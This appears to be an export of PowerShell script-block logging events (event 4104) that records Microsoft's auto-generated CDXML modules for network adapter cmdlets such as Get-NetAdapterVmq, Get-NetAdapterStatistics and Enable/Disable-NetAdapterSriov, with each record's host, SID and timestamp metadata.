#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterVmqSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterVmq
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterVmqSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmq.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterVmq' -Alias '*'
function Set-NetAdapterVmq
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterVmqSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterVmqSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('BaseG')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${BaseProcessorGroup},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('BaseN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[byte]
${BaseProcessorNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Max')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${MaxProcessors},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[byte]
${MaxProcessorNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('NumaN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${NumaNode},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.C
ScriptBlock ID: 8bd3389c-e7c2-453e-9d32-2970439bc7f9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1948 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-bbfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterStatisticsSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterStatistics
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterStatisticsSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterStatistics.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterStatistics' -Alias '*'
ScriptBlock ID: bc559223-10da-47bc-8d28-44007ba21400
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1947 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-b8fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterSriovVfSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterSriovVf
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterSriovVfSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[uint32[]]
${SwitchID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('VfID','Id')]
[ValidateNotNull()]
[uint16[]]
${FunctionID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('SwitchID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SwitchID})
$__cmdletization_queryBuilder.FilterByProperty('SwitchID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('FunctionID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${FunctionID})
$__cmdletization_queryBuilder.FilterByProperty('FunctionID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriovVf.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterSriovVf' -Alias '*'
ScriptBlock ID: 42e3bfd0-c7e1-4e7e-804b-01afa3cd0dd3
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1946 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0004-2429-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
mdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriov.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterSriov' -Alias '*'
function Disable-NetAdapterSriov
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterSriovSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
